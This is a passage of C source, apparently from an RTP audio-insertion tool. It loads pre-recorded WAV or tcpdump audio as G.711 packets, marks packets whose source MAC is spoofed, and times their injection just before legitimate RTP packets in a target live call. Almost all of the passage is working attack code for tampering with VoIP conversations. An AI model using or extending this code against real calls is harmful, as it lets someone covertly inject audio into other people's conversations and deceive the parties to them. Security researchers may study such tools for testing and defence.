1397 printf ( "\nYou might be able to use the Linux 'sox' command"
1398 "\nto convert your WAVE file from its current"
1399 "\nformat to the format required by this tool"
1400 "\nTo see a limited output of your file's parameters"
1401 "\nyou may execute this tool using the verbose option"
1402 "\n(i.e. -v) or the following sox command for a"
1403 "\nmore comprehensive assessment:"
1404 "\n sox -V %s -e stat\n",
1405 psInputAudioFile );
1406 fclose ( fpAudio );
1407 fpAudio = NULL;
1408
1409 return false;
1410 }
1411
1412 //
1413 // Determine the chunk id of the chunk following the "fmt " chunk
1414 // when there are no extra format bytes
1415 //
1416
1417 rc = fread ( &hdrCHUNK, sizeof ( hdrCHUNK ), 1, fpAudio );
1418
1419 if ( rc != 1 ) {
1420 printf ( "\nEOF on input file attempting to read"
1421 "\nthe chunk header following the fmt chunk\n" );
1422 fclose ( fpAudio );
1423 fpAudio = NULL;
1424
1425 return false;
1426 }
1427
1428 if ( bVerbose ) {
1429 printf ( "\n\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n",
1430 hdrCHUNK.c_chunkID[0],
1431 hdrCHUNK.c_chunkID[1],
1432 hdrCHUNK.c_chunkID[2],
1433 hdrCHUNK.c_chunkID[3],
1434 hdrCHUNK.c_chunkID[0],
1435 hdrCHUNK.c_chunkID[1],
1436 hdrCHUNK.c_chunkID[2],
1437 hdrCHUNK.c_chunkID[3] );
1438
1439 printf ( "chunk data size: %u\n", hdrCHUNK.ui_chunkSize );
1440 }
1441
1442 //
1443 // The tool requires the chunk header just read to be either a 'fact' chunk or a 'data' chunk
1444 //
1445
1446 if ( hdrCHUNK.c_chunkID[0] == 'f' &&
1447 hdrCHUNK.c_chunkID[1] == 'a' &&
1448 hdrCHUNK.c_chunkID[2] == 'c' &&
1449 hdrCHUNK.c_chunkID[3] == 't' ) {
1450
1451 unsigned int ui_numSamplesInWaveformChunk = 0;
1452
1453 rc = fread ( &ui_numSamplesInWaveformChunk,
1454 sizeof ( ui_numSamplesInWaveformChunk ),
1455 1,
1456 fpAudio );
1457
1458 if ( rc != 1 ) {
1459 printf ( "\nEOF on input file attempting to read"
1460 "\nthe content of a \"fact\" chunk\n" );
1461 fclose ( fpAudio );
1462 fpAudio = NULL;
1463
1464 return false;
1465 }
1466
1467 if ( bVerbose ) {
1468 printf ( "Number of samples in waveform data chunk: %u\n",
1469 ui_numSamplesInWaveformChunk );
1470 }
1471
1472 //
1473 // This tool now requires the next chunk to be the 'data' chunk.
1474 //
1475
1476 rc = fread ( &hdrCHUNK, sizeof ( hdrCHUNK ), 1, fpAudio );
1477
1478 if ( rc != 1 ) {
1479 printf ( "\nEOF on input file attempting to read"
1480 "\nthe chunk header following the fmt chunk\n" );
1481 fclose ( fpAudio );
1482 fpAudio = NULL;
1483
1484 return false;
1485 }
1486
1487 if ( bVerbose ) {
1488 printf ( "\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n",
1489 hdrCHUNK.c_chunkID[0],
1490 hdrCHUNK.c_chunkID[1],
1491 hdrCHUNK.c_chunkID[2],
1492 hdrCHUNK.c_chunkID[3],
1493 hdrCHUNK.c_chunkID[0],
1494 hdrCHUNK.c_chunkID[1],
1495 hdrCHUNK.c_chunkID[2],
1496 hdrCHUNK.c_chunkID[3] );
1497
1498 printf ( "chunk data size: %u\n", hdrCHUNK.ui_chunkSize );
1499 }
1500 }
1501
1502 //
1503 // The chunk just read must be the 'data' chunk
1504 //
1505
1506 if ( hdrCHUNK.c_chunkID[0] != 'd' ||
1507 hdrCHUNK.c_chunkID[1] != 'a' ||
1508 hdrCHUNK.c_chunkID[2] != 't' ||
1509 hdrCHUNK.c_chunkID[3] != 'a' ) {
1510 printf ( "\nThis tool supports only two sequences of RIFF WAVE file"
1511 "\nchunks:\n"
1512 "\n RIFF, fmt, fact, data"
1513 "\n or"
1514 "\n RIFF, fmt, data\n"
1515 "\nAn unsupported chunk header was encountered.\n" );
1516
1517 printf ( "\nYou might be able to use the Linux 'sox' command"
1518 "\nto convert your WAVE file from its current"
1519 "\nformat to the format required by this tool."
1520 "\nTo see a limited output of your file's parameters,"
1521 "\nyou may execute this tool using the verbose"
1522 "\noption (i.e. -v) or the following sox command"
1523 "\nfor a more comprehensive assessment:"
1524 "\n sox -V %s -e stat\n",
1525 psInputAudioFile );
1526 fclose ( fpAudio );
1527 fpAudio = NULL;
1528
1529 return false;
1530 }
1531
1532 //
1533 // The file appears to okay with respect to the sequence of chunk headers.
1534 // Now make sure that the fmt chunk information describes audio
1535 // content that complies with the constraints of this tool.
1536 //
1537
1538 if ( hdrFMT.us_compressionCode !=
1539 __RTPINSERTSOUND_PCM_UNCOMPRESSED_COMPRESSION_CODE ) {
1540 printf ( "\nThe WAVE file compression format of your audio"
1541 "\nfile is not supported. Only code = 1 is supported"
1542 "\n(i.e. PCM/Uncompressed). Compression code"
1543 "\nspecified by audio file is: %u\n",
1544 hdrFMT.us_compressionCode );
1545
1546 printf ( "\nYou might be able to use the Linux 'sox' command"
1547 "\nto convert your WAVE file from its current"
1548 "\ncompression to the PCM/Uncompressed format"
1549 "\nrequired by this tool. To see a limited output"
1550 "\nof your file's parameters you may execute this"
1551 "\ntool using the verbose option (i.e. -v) or the"
1552 "\nfollowing sox command for a more comprehensive"
1553 "\nassessment:"
1554 "\n sox -V %s -e stat\n",
1555 psInputAudioFile );
1556 fclose ( fpAudio );
1557 fpAudio = NULL;
1558
1559 return false;
1560 }
1561
1562 if ( hdrFMT.us_numChannels != 1 ) {
1563 printf ( "\nThe number of audio channels in your audio file"
1564 "\nis not supported. Only mono (i.e. 1 channel) is"
1565 "\nsupported. The number of audio channels in your"
1566 "\naudio is: %u\n",
1567 hdrFMT.us_numChannels );
1568
1569 printf ( "\nYou might be able to use the Linux 'sox' command"
1570 "\nto convert your WAVE file from its current"
1571 "\nnumber of audio channels to the mono format"
1572 "\nrequired by this tool. To see a limited output"
1573 "\nof your file's parameters you may execute this"
1574 "\ntool using the verbose option (i.e. -v) or the"
1575 "\nfollowing sox command for a more comprehensive"
1576 "\nassessment:"
1577 "\n sox -V %s -e stat\n",
1578 psInputAudioFile );
1579 fclose ( fpAudio );
1580 fpAudio = NULL;
1581
1582 return false;
1583 }
1584
1585 if ( hdrFMT.ui_sampleRate != 8000 ) {
1586 printf ( "\nThe sample rate of your audio file is not supported."
1587 "\nOnly 8000 Hz is supported. The sample rate of"
1588 "\nyour audio is: %u Hz\n",
1589 hdrFMT.ui_sampleRate );
1590
1591 printf ( "\nYou might be able to use the Linux 'sox' command"
1592 "\nto convert your WAVE file from its current"
1593 "\nsample rate to the 8000 Hz required by this tool."
1594 "\nTo see a limited output of your file's parameters"
1595 "\nyou may execute this tool using the verbose option"
1596 "\n(i.e. -v) or the following sox command for a more"
1597 "\ncomprehensive assessment:"
1598 "\n sox -V %s -e stat\n",
1599 psInputAudioFile );
1600 fclose ( fpAudio );
1601 fpAudio = NULL;
1602
1603 return false;
1604 }
1605
1606 if ( hdrFMT.us_numSignificantBitsPerSample != 8 &&
1607 hdrFMT.us_numSignificantBitsPerSample != 16 ) {
1608 printf ( "\nThe number of significant bits per audio sample"
1609 "\nof your audio file is not supported. Only 8 or"
1610 "\n16 bits per sample is supported. The number of"
1611 "\nsignificant bits of your audio is: %u\n",
1612 hdrFMT.us_numSignificantBitsPerSample );
1613
1614 printf ( "\nYou might be able to use the Linux 'sox' command"
1615 "\nto convert your WAVE file from its current number"
1616 "\nof significant bits/sample to the 8 or 16 required"
1617 "\nby this tool. To see a limited output of your file's"
1618 "\nparameters you may execute this tool using the"
1619 "\nverbose option (i.e. -v) or the following sox"
1620 "\ncommand for a more comprehensive assessment:"
1621 "\n sox -V %s -e stat\n",
1622 psInputAudioFile );
1623 fclose ( fpAudio );
1624 fpAudio = NULL;
1625
1626 return false;
1627 }
1628
1629 //
1630 // Read, convert (if necessary), and load audio data into the
1631 // memory stipulated to this function. Limit the magnitude
1632 // of the audio to the number of specified G.711 packet equivalents.
1633 //
1634
1635 if ( hdrFMT.us_numSignificantBitsPerSample == 16 ) {
1636
1637 //
1638 // Read each signed, linear 16-bit PCM value, convert
1639 // it to PCMU, and load it into memory
1640 //
1641
1642 short wavePCM;
1643
1644 for ( i = 0;
1645 i < __RTPINSERTSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_INSERT;
1646 i++ ) {
1647
1648 for ( j = 0;
1649 j < __RTPINSERTSOUND_G711_PAYLOAD_LEN;
1650 j++ ) {
1651
1652 rc = fread ( &wavePCM,
1653 sizeof ( wavePCM ),
1654 1,
1655 fpAudio );
1656
1657 if ( rc != 1 ) {
1658
1659 //
1660 // Less than a complete G.711 packet equivalent audio remained in
1661 // the audio file. So, return only the number of complete G.711
1662 // packet equivalents to the caller.
1663 //
1664
1665 *numG711PacketEquivalents = i;
1666 fclose ( fpAudio );
1667 fpAudio = NULL;
1668
1669 return true;
1670 }
1671
1672 pcmuSamplesToInsert[i].pcmu_value[j] = linear2ulaw ( wavePCM );
1673 }
1674
1675 #if __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_ETHERNET
1676
1677 // Since the Source MAC of the legitimate RTP transmitter is going to be
1678 // spoofed, mark the spoofed packets so this tool will know to reject "incoming"
1679 // packets with that mark. The "mark" is the pattern 0,1,0,1,0,1 in the low
1680 // order bit of the first 6 RTP payload bytes.
1681
1682 pcmuSamplesToInsert[ i ].pcmu_value[ 0 ] =
1683 pcmuSamplesToInsert[ i ].pcmu_value[ 0 ] & 0xfe;
1684 pcmuSamplesToInsert[ i ].pcmu_value[ 1 ] =
1685 pcmuSamplesToInsert[ i ].pcmu_value[ 1 ] | 0x01;
1686 pcmuSamplesToInsert[ i ].pcmu_value[ 2 ] =
1687 pcmuSamplesToInsert[ i ].pcmu_value[ 2 ] & 0xfe;
1688 pcmuSamplesToInsert[ i ].pcmu_value[ 3 ] =
1689 pcmuSamplesToInsert[ i ].pcmu_value[ 3 ] | 0x01;
1690 pcmuSamplesToInsert[ i ].pcmu_value[ 4 ] =
1691 pcmuSamplesToInsert[ i ].pcmu_value[ 4 ] & 0xfe;
1692 pcmuSamplesToInsert[ i ].pcmu_value[ 5 ] =
1693 pcmuSamplesToInsert[ i ].pcmu_value[ 5 ] | 0x01;
1694
1695 #endif
1696
1697 }
1698
1699 *numG711PacketEquivalents = i;
1700 fclose ( fpAudio );
1701 fpAudio = NULL;
1702
1703 return true;
1704 }
1705
1706 //
1707 // Because of the test above, the only other possibility is that the
1708 // number of significant bits/sample must be 8, but a test is made
1709 // here - just in case the above logic is modified at a future date
1710 //
1711
1712 if ( hdrFMT.us_numSignificantBitsPerSample == 8 ) {
1713
1714 //
1715 // The audio needs to be converted from unsigned, 8-bit to signed, 16-bit
1716 // Even though, by convention, 8-bit PCM is referred to as unsigned, it
1717 // is scaled
1718 //
1719
1720 signed char wavePCM;
1721
1722 for ( i = 0;
1723 i < __RTPINSERTSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_INSERT;
1724 i++ ) {
1725
1726 for ( j = 0;
1727 j < __RTPINSERTSOUND_G711_PAYLOAD_LEN;
1728 j++ ) {
1729
1730 rc = fread ( &wavePCM,
1731 sizeof ( wavePCM ),
1732 1,
1733 fpAudio );
1734
1735 if ( rc != 1 ) {
1736
1737 //
1738 // Less than a complete G.711 packet equivalent audio remained in
1739 // the audio file. So, return only the number of complete G.711
1740 // packet equivalents to the caller.
1741 //
1742
1743 *numG711PacketEquivalents = i;
1744 fclose ( fpAudio );
1745 fpAudio = NULL;
1746
1747 return true;
1748 }
1749
1750 pcmuSamplesToInsert[i].pcmu_value[j] =
1751 linear2ulaw ( (( (int) wavePCM ) << 8 ) - 32768 );
1752 }
1753
1754 #if __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_ETHERNET
1755
1756 // Since the Source MAC of the legitimate RTP transmitter is going to be
1757 // spoofed, mark the spoofed packets so this tool will know to reject "incoming"
1758 // packets with that mark. The "mark" is the pattern 0,1,0,1,0,1 in the low
1759 // order bit of the first 6 RTP payload bytes.
1760
1761 pcmuSamplesToInsert[ i ].pcmu_value[ 0 ] =
1762 pcmuSamplesToInsert[ i ].pcmu_value[ 0 ] & 0xfe;
1763 pcmuSamplesToInsert[ i ].pcmu_value[ 1 ] =
1764 pcmuSamplesToInsert[ i ].pcmu_value[ 1 ] | 0x01;
1765 pcmuSamplesToInsert[ i ].pcmu_value[ 2 ] =
1766 pcmuSamplesToInsert[ i ].pcmu_value[ 2 ] & 0xfe;
1767 pcmuSamplesToInsert[ i ].pcmu_value[ 3 ] =
1768 pcmuSamplesToInsert[ i ].pcmu_value[ 3 ] | 0x01;
1769 pcmuSamplesToInsert[ i ].pcmu_value[ 4 ] =
1770 pcmuSamplesToInsert[ i ].pcmu_value[ 4 ] & 0xfe;
1771 pcmuSamplesToInsert[ i ].pcmu_value[ 5 ] =
1772 pcmuSamplesToInsert[ i ].pcmu_value[ 5 ] | 0x01;
1773
1774 #endif
1775 }
1776
1777 *numG711PacketEquivalents = i;
1778 fclose ( fpAudio );
1779 fpAudio = NULL;
1780
1781 return true;
1782 }
1783
1784 return false;
1785
1786 } // end preloadWavAudio
1787
1788
1789 //-----------------------------------------------------------------------------
1790 //
1791 // preloadTCPdumpAudio ( char *psInputAudioFile,
1792 // struct pcmuSamplesToInsert[],
1793 // unsigned int *numG711PacketsLoaded )
1794 //
1795 // This routine expects psInputAudioFile to point to a
1796 // string with the name of file containing the pre-recorded
1797 // audio to load into memory. The file is expected to be a
1798 // standard libpcap tcpdump formatted file containing
1799 // G.711 PCMU RTP/UDP/IP/ETHERNET messages.
1800 //
1801 // The pre-recorded audio is in the desired form. Extract
1802 // it from the recoreded message and load it into memory
1803 // pointed to by the 2nd argument to this function.
1804 //
1805 // Inserting audio packets into the target audio stream
1806 // is a time critical process. Audio is pre-loaded into
1807 // memory because attempting to read from a disk
1808 // drive in real-time on an arbitrary platform would
1809 // yield unpredictable timing due to several factors
1810 // (e.g. speed of the machine, disk buffer sizes, disk
1811 // caching parameters, disk access time, ...etc).
1812 //
1813 // Of course, swapping of the memory resident,
1814 // pre-recorded audio in PCM form to disk could
1815 // occur as a consequence of normal OS data paging
1816 // operation.
1817 //
1818 // The memory area to load is specified by the
1819 // second parameter. It is a pointer to an array of an
1820 // array of PCMU values. Each increment of the
1821 // outer array index represents the number of
1822 // of audio samples transmitted in a single G.711
1823 // packet (i.e. __RTPINSERTSOUND_G711_PAYLOAD_LEN).
1824 // The memory area must be large enough to contain
1825 // __RTPINSERTSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_INSERT
1826 // of __RTPINSERTSOUND_G711_PAYLOAD_LEN
1827 // 8-bit, unsigned, PCMU values.
1828 //
1829 // The number of G711 packets whose audio was
1830 // loaded into memory is returned to the calling routine
1831 // thru the 3rd argument to this function.
1832 //
1833 // The return value of this function is:
1834 // false - when a failure to load pre-recorded audio occurs
1835 // true - when pre-recorded audio is loaded succsssfully
1836 //
1837 // FIXME: Declare that some data should remain
1838 // memory-resident at all times.
1839 //
1840 //-----------------------------------------------------------------------------
1841
1842 bool preloadTCPdumpAudio ( char *psInputAudioFile,
1843 struct pcmu pcmuSamplesToInsert[],
1844 unsigned int *numG711PacketsLoaded ) {
1845
1846 unsigned int i;
1847 unsigned int numPackets = 0;
1848
1849 unsigned char *pUlawByte = NULL;
1850
1851 char pcap_errbuf[ PCAP_ERRBUF_SIZE ];
1852
1853 pcap_t *h_pcap_tcpdump_rtp = NULL; // libpcap "handle"
1854
1855 struct pcap_pkthdr *ppcap_pkthdr = NULL;
1856 struct pcap_pkthdr pcap_header;
1857
1858 bool bPacketsRemain = true;
1859
1860 *numG711PacketsLoaded = 0;
1861
1862 //
1863 // Read pre-recorded audio from the RTP packets stored in
1864 // the specified tcpdump file.
1865 //
1866
1867 h_pcap_tcpdump_rtp =
1868 pcap_open_offline ( psInputAudioFile, pcap_errbuf );
1869
1870 if ( h_pcap_tcpdump_rtp == NULL ) {
1871 printf ( "\nCouldn't open pre-recorded RTP audio file %s: %s\n",
1872 psInputAudioFile, pcap_errbuf );
1873 return false;
1874 }
1875
1876 printf ( "\n\nReading pre-recorded G.711 PCMU audio from input audio"
1877 "\nfile and loading it into memory. This is the audio to"
1878 "\ninsert into the target live audio stream.\n" );
1879
1880 do {
1881
1882 //
1883 // FIXME: One outstanding question is whether repeated calls to
1884 // pcap_next_ex( ) result in additional memory being
1885 // consumed. Or, is only - at most - one packet's worth of
1886 // memory consumed despite repeated calls to pcap_next_ex( ).
1887 // After all, the objective of this part of the code is to load
1888 // into memory all of the audio you'd like to insert into a
1889 // targeted conversion.
1890 //
1891 // The working presumption until this question can be
1892 // answered is that repeated calls to pcap_next_ex( ) result
1893 // in only one packet's worth of memory being consumed.
1894 // (i.e. the pcap_next_ex( ) routine releases memory for
1895 // the packet "returned" in a prior call and allocates
1896 // memory as needed for the next packet).
1897 //
1898
1899 rc = pcap_next_ex ( h_pcap_tcpdump_rtp, &ppcap_pkthdr, &packet );
1900
1901 switch ( rc ) {
1902 case -2: {
1903 // EOF
1904 bPacketsRemain = false;
1905 break;
1906 }
1907 case -1: {
1908 // error occurred reading file
1909 pcap_perror ( h_pcap_tcpdump_rtp,
1910 "\nError reading pre-recorded audio "
1911 "capture into memory! " );
1912 pcap_close ( h_pcap_tcpdump_rtp );
1913 h_pcap_tcpdump_rtp = NULL;
1914
1915 return false;
1916 }
1917 case 1: {
1918 // no error reading packet
1919
1920 numPackets++;
1921
1922 if ( numPackets == 1 && bVerbose ) {
1923 printf( "\n\nRTP Header of 1st packet in pre-recorded audio:" );
1924 decodeAndPrintRTPMsg ( packet );
1925 }
1926
1927 //
1928 // FIXME: tool only supports G.711 audio at this time
1929 //
1930
1931 rtp_hdr = ( struct rfc1889_rtp_hdr * ) ( packet + offset_to_rtp_msg );
1932
1933 if ( rtp_hdr->payloadType !=
1934 __RTPINSERTSOUND_G711_PAYLOAD_TYPE ) {
1935 printf ( "\nPacket #%u of the pre-recorded audio file"
1936 "\nis not bearing G.711 u-law encoded audio"
1937 "\nPayload type = %u\n",
1938 numPackets, rtp_hdr->payloadType );
1939 pcap_close ( h_pcap_tcpdump_rtp );
1940 h_pcap_tcpdump_rtp = NULL;
1941
1942 return false;
1943 }
1944
1945 pUlawByte = ( (unsigned char *) packet ) + offset_to_rtp_payload;
1946
1947 memcpy ( &(pcmuSamplesToInsert[ numPackets - 1 ]),
1948 pUlawByte,
1949 __RTPINSERTSOUND_G711_PAYLOAD_LEN );
1950
1951 #if __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER == __RTPINSERTSOUND_LIBNET_ETHERNET
1952
1953 // Since the Source MAC of the legitimate RTP transmitter is going to be
1954 // spoofed, mark the spoofed packets so this tool will know to reject "incoming"
1955 // packets with that mark. The "mark" is the pattern 0,1,0,1,0,1 in the low
1956 // order bit of the first 6 RTP payload bytes.
1957
1958 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 0 ] =
1959 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 0 ] & 0xfe;
1960 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 1 ] =
1961 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 1 ] | 0x01;
1962 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 2 ] =
1963 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 2 ] & 0xfe;
1964 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 3 ] =
1965 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 3 ] | 0x01;
1966 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 4 ] =
1967 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 4 ] & 0xfe;
1968 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 5 ] =
1969 pcmuSamplesToInsert[ numPackets - 1 ].pcmu_value[ 5 ] | 0x01;
1970
1971 #endif
1972
1973 if ( numPackets ==
1974 __RTPINSERTSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_INSERT ) {
1975 bPacketsRemain = false;
1976 }
1977 break;
1978 }
1979 default: {
1980 // no other error code should be returned when using pcap_next_ex( ) to
1981 // read a "saved" file.
1982 printf ( "\nReceived an unexpected return code from "
1983 "pcap_next_ex( ): %d ", rc );
1984 pcap_perror ( h_pcap_tcpdump_rtp, NULL );
1985 pcap_close ( h_pcap_tcpdump_rtp );
1986 h_pcap_tcpdump_rtp = NULL;
1987
1988 return false;
1989 }
1990 } // end switch ( rc )
1991
1992 } while ( bPacketsRemain );
1993
1994 *numG711PacketsLoaded = numPackets;
1995
1996 pcap_close ( h_pcap_tcpdump_rtp );
1997 h_pcap_tcpdump_rtp = NULL;
1998
1999 return true;
2000
2001 } // end preloadTCPdumpAudio
2002
2003
2004 //-----------------------------------------------------------------------------
2005 //
2006 // delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec )
2007 //
2008 // This routine returns to the caller when the
2009 // the time-of-day is >= the time-of-day to output
2010 // the next spoofed RTP packet. However, if
2011 // the time-of-day becomes greater than or equal to
2012 // the time-of-day the next legitimate packet is
2013 // expected, we have really screwed up. A failure
2014 // is declared and the tool is exited.
2015 //
2016 // Limitation: The time-of-day the next spoofed packet
2017 // should be output cannot be later than
2018 // the time-of-day the next legitimate RTP
2019 // packet is expected.
2020 //
2021 //-----------------------------------------------------------------------------
2022
2023 void delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec ) {
2024
2025 int i;
2026
2027 bool bOutputTrigger = false;
2028
2029 //
2030 // Note: Time of day as represented by the timeval structure is expressed
2031 // as seconds + usecs since the Epoch time reference.
2032 //
2033
2034 struct timeval currentTOD;
2035 struct timeval nextLegitimatePacketTOD;
2036 struct timeval nextSpoofPacketOutputTOD;
2037
2038 //
2039 // Based on the TOD the last legitimate RTP packet was received,
2040 // what time in the future should the next legitimate packet be
2041 // expected?
2042 //
2043
2044 nextLegitimatePacketTOD.tv_sec = ppcap_pkthdr->ts.tv_sec;
2045 nextLegitimatePacketTOD.tv_usec = ppcap_pkthdr->ts.tv_usec;
2046
2047 nextLegitimatePacketTOD.tv_usec += codecIntervalUsec;
2048
2049 // TOD next legitimate packet is expected is in the next second?
2050
2051 if ( nextLegitimatePacketTOD.tv_usec > 1000000 ) {
2052 nextLegitimatePacketTOD.tv_usec -= 1000000; // adjust usec downward
2053 nextLegitimatePacketTOD.tv_sec++; // adjust sec upward
2054 }
2055
2056 //
2057 // Based on the TOD the last legitimate RTP packet was received,
2058 // what time in the future should the next spoofed packet be transmitted?
2059 //
2060 // Note: Time of day as represented by the timeval structure is expressed
2061 // as seconds + usecs since the Epoch time reference.
2062 //
2063
2064 nextSpoofPacketOutputTOD.tv_sec = ppcap_pkthdr->ts.tv_sec;
2065 nextSpoofPacketOutputTOD.tv_usec = ppcap_pkthdr->ts.tv_usec;
2066
2067 nextSpoofPacketOutputTOD.tv_usec += jitterDelayUsec;
2068
2069 // next spoofed packet transmit time-of-day is in the next second?
2070
2071 if ( nextSpoofPacketOutputTOD.tv_usec > 1000000 ) {
2072 nextSpoofPacketOutputTOD.tv_usec -= 1000000; // adjust usec downward
2073 nextSpoofPacketOutputTOD.tv_sec++; // adjust sec upward
2074 }
2075
2076 while ( !bOutputTrigger ) {
2077 gettimeofday( &currentTOD, NULL ); // retrieve current TimeOfDay
2078
2079 // Does current TOD exceed TOD next legitimate RTP packet is expected?
2080
2081 deltaTSec = nextLegitimatePacketTOD.tv_sec - currentTOD.tv_sec;
2082
2083 if ( deltaTSec < 0 ) {
2084 printf ( "\nError: Failed to output spoof RTP packet #%u "
2085 "%u usec before next legitimate RTP packet!! (1)\n",
2086 i, jitterProximityUsec );
2087 printf ( "\nnextLegitimatePacketTOD:\n"
2088 "tv_sec = %d, tv_usec = %d\n"
2089 "\nnextSpoofPacketOutputTOD:\n"
2090 "tv_sec = %d, tv_usec = %d\n"
2091 "\ncurrentTOD:\n"
2092 "tv_sec = %d, tv_usec = %d\n",
2093 nextLegitimatePacketTOD.tv_sec,
2094 nextLegitimatePacketTOD.tv_usec,
2095 nextSpoofPacketOutputTOD.tv_sec,
2096 nextSpoofPacketOutputTOD.tv_usec,
2097 currentTOD.tv_sec,
2098 currentTOD.tv_usec );
2099 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
2100 }
2101
2102 if ( deltaTSec == 0 ) {
2103
2104 // Times to compare are within same second, so we can
2105 // compare usec components directly.
2106
2107 deltaTUsec =
2108 nextLegitimatePacketTOD.tv_usec - currentTOD.tv_usec;
2109
2110 if ( deltaTUsec < 0 ) {
2111 printf ( "\nError: Failed to output spoof RTP packet #%u "
2112 "%u usec before legitimate RTP packet!! (2)\n",
2113 i, jitterProximityUsec );
2114 printf ( "\nnextLegitimatePacketTOD:\n"
2115 "tv_sec = %d, tv_usec = %d\n"
2116 "\nnextSpoofPacketOutputTOD:\n"
2117 "tv_sec = %d, tv_usec = %d\n"
2118 "\ncurrentTOD:\n"
2119 "tv_sec = %d, tv_usec = %d\n",
2120 nextLegitimatePacketTOD.tv_sec,
2121 nextLegitimatePacketTOD.tv_usec,
2122 nextSpoofPacketOutputTOD.tv_sec,
2123 nextSpoofPacketOutputTOD.tv_usec,
2124 currentTOD.tv_sec,
2125 currentTOD.tv_usec );
2126 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
2127 }
2128 }
2129
2130 // So far so good. The currentTOD is less than the time the next legitimate
2131 // RTP packet is expected. Is it time to output the next spoofed packet?
2132
2133 // Compute deltaT between TOD of next spoof packet output and current TOD
2134
2135 deltaTSec = nextSpoofPacketOutputTOD.tv_sec - currentTOD.tv_sec;
2136
2137 if ( deltaTSec < 0 ) { // must be passed time to output spoof packet
2138 bOutputTrigger = true;
2139 }
2140
2141 if ( deltaTSec == 0 ) {
2142
2143 // Times to compare are within same second, so we can
2144 // compare usec components directly.
2145
2146 deltaTUsec =
2147 nextSpoofPacketOutputTOD.tv_usec - currentTOD.tv_usec;
2148
2149 if ( deltaTUsec <= 0 ) { // must be passed time to output spoof packet
2150 bOutputTrigger = true;
2151 }
2152 }
2153 } // end while ( not reached spoofed packet output time )
2154
2155 /*
2156 printf ( "\n--------------------------\n"
2157 "\nnextLegitimatePacketTOD:\n"
2158 "tv_sec = %d, tv_usec = %d\n"
2159 "\nnextSpoofPacketOutputTOD:\n"
2160 "tv_sec = %d, tv_usec = %d\n"
2161 "\ncurrentTOD:\n"
2162 "tv_sec = %d, tv_usec = %d\n"
2163 "jitterProximityUsec = %u usec\n",
2164 nextLegitimatePacketTOD.tv_sec,
2165 nextLegitimatePacketTOD.tv_usec,
2166 nextSpoofPacketOutputTOD.tv_sec,
2167 nextSpoofPacketOutputTOD.tv_usec,
2168 currentTOD.tv_sec,
2169 currentTOD.tv_usec,
2170 jitterProximityUsec );
2171 */
2172
2173 } // end delayTransmitOfSpoofedPacket
2174
2175
2176 //-----------------------------------------------------------------------------
2177 //
2178 // decodeAndPrintRTPMsg ( const u_char *packet )
2179 //
2180 // This routine actually prints most of the content
2181 // of the headers leading up to the actual RTP payload,
2182 // but not the payload itself.
2183 //
2184 // The input parameter, packet, is presumed to point
2185 // to the start of the Ethernet frame. That Ethernet
2186 // frame is presumed to contain an RTP/UDP/IP
2187 // datagram.
2188 //
2189 // In order, the headers are:
2190 // Ethernet
2191 // IP
2192 // UDP
2193 // RTP
2194 //
2195 //
2196 // Portability Issues:
2197 //
2198 // It is presumed this routine is operating on a
2199 // little endian machine, requiring the swapping of
2200 // some of the header content that is in network
2201 // (i.e. big-endian order).
2202 //
2203 // It should be noted that the structure used to
2204 // define bit fields within the rtp header is very
2205 // likely also implementation dependent. This
2206 // routine was developed to execute on an Intel
2207 // machine (i.e. Pentium) running Red Hat Linux.
2208 //-----------------------------------------------------------------------------
2209
2210 void decodeAndPrintRTPMsg ( const u_char *packet ) {
2211
2212 //
2213 // Print some of the Ethernet header content
2214 //
2215
2216 unsigned int i = 0;
2217
2218 char macString[18] = ""; // 6 hex bytes * 2 char/byte + 5 colons + end-of-string
2219
2220 eth_hdr = ( struct libnet_ethernet_hdr * ) packet;
2221
2222 printf ( "\n\n-----------------\n\n");
2223
2224 sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x",
2225 eth_hdr->ether_shost[0],
2226 eth_hdr->ether_shost[1],
2227 eth_hdr->ether_shost[2],
2228 eth_hdr->ether_shost[3],
2229 eth_hdr->ether_shost[4],
2230 eth_hdr->ether_shost[5],
2231 eth_hdr->ether_shost[6] );
2232
2233 printf ( "source MAC: %s\n", macString );
2234
2235 macString[0] = '\0'; // re-initialize workspace string to NUL string
2236
2237 sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x",
2238 eth_hdr->ether_dhost[0],
2239 eth_hdr->ether_dhost[1],
2240 eth_hdr->ether_dhost[2],
2241 eth_hdr->ether_dhost[3],
2242 eth_hdr->ether_dhost[4],
2243 eth_hdr->ether_dhost[5],
2244 eth_hdr->ether_dhost[6] );
2245
2246 printf ( "destination MAC: %s\n\n", macString );
2247
2248 //
2249 // Print some of the IP header content
2250 //
2251
2252 ip_hdr = ( struct libnet_ipv4_hdr * )
2253 ( packet + LIBNET_ETH_H );
2254
2255 // This union is a workspace permitting an IPv4 address to be accessed as a
2256 // byte array.
2257
2258 union {
2259 uint32_t ip_addr;
2260 char ip_bytes[4];
2261 } ip_addr_union;
2262
2263 char ip_addr_dotted[16]; // workspace to synthesize a dotted IPv4 addr
2264
2265 ip_addr_dotted[0] = '\0'; // initialize workspace string to NUL string
2266
